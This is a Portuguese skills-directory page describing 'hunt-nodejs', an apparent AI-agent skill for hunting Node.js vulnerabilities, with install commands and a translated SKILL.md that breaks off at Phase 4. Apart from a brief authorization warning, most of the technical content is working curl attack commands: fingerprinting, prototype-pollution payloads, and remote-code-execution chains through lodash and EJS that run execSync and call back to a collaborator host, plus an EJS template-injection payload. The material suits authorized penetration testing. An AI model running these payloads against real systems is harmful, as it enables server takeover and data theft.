Pular para o conteúdo
Skillpedia
APIs e servidores (backend)48 mil · #3275

hunt-nodejs

Ajuda seu agente a encontrar falhas específicas em sistemas Node.js. É útil para garantir a segurança de aplicações desenvolvidas com Node.js.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança específicas em aplicações que usam Node.js. Ela verifica se há vulnerabilidades conhecidas que podem ser exploradas por atacantes.

Quando usar

  • ✓Ao testar a segurança de um site ou aplicação Node.js.
  • ✓Para verificar se uma aplicação está protegida contra ataques conhecidos.
  • ✓Em exercícios de segurança autorizados para encontrar fraquezas.

Exemplo do que pedir para a IA

“Verifique as vulnerabilidades de segurança em https://exemplo.com”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-nodejs/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-nodejs/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia requisições específicas para o alvo e analisa as respostas. Ela procura por padrões que indicam a presença de vulnerabilidades conhecidas em Node.js.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill hunt-nodejs

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-nodejs/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL exato, IP, conta ou recurso alvo.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

HUNT-NODEJS — Vulnerabilidades Específicas do Node.js

Alvos de Joias da Coroa

Poluição de protótipo atingindo um "sink" no backend Node.js = RCE Crítico.

Cadeias de maior valor:

  • Poluição de Protótipo → RCE — __proto__ injeção via lodash.merge / Object.assign → protótipo poluído atinge o "sink" child_process.exec ou vm.runInNewContext
  • Proxy de confiança do Express — app.set('trust proxy', true) sem validação → atacante define X-Forwarded-For para contornar listas de permissão de IP ou limites de taxa
  • SSTI do EJS/Pug — o motor de template recebe entrada do usuário → {{= process.mainModule.require('child_process').execSync('id') }}
  • Injeção de child_process — entrada do usuário interpolada em string de comando do shell → injeção de comando do SO
  • Travessia de caminho require() — caminho de módulo controlado pelo atacante → carrega arquivo arbitrário como JS

Sinais da Superfície de Ataque

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate

Fase 1 — Impressão Digital

# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"

# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"

# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"

Fase 2 — Detecção de Poluição de Protótipo

# JSON body injection — test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": "yes"}}'

# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"

# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"

Fase 3 — Poluição de Protótipo → Cadeia RCE

# If pollution is confirmed, attempt to reach dangerous sinks

# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "shell": "node",
      "NODE_OPTIONS": "--require /proc/self/fd/0",
      "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
    }
  }'

# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'

# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'

# OOB confirmation — check Interactsh for callback

Fase 4 — Abuso de Proxy de Confiança do Express

# Se o Express tiver o proxy de confiança ativado, X-Forwarded-For é confiável

…
Perguntas frequentes

O que é 'Prototype Pollution'?

É um tipo de ataque onde um invasor consegue modificar propriedades internas de objetos JavaScript, o que pode levar a falhas graves de segurança.

O que significa 'RCE'?

RCE significa 'Remote Code Execution' (Execução Remota de Código). É uma vulnerabilidade grave que permite a um atacante executar comandos no servidor.

Preciso de permissão para usar esta ferramenta?

Sim, você precisa de permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso não autorizado é ilegal.

Detalhes

Descrição original do autor

Hunt Node.js specific vulnerabilities

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#3275
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas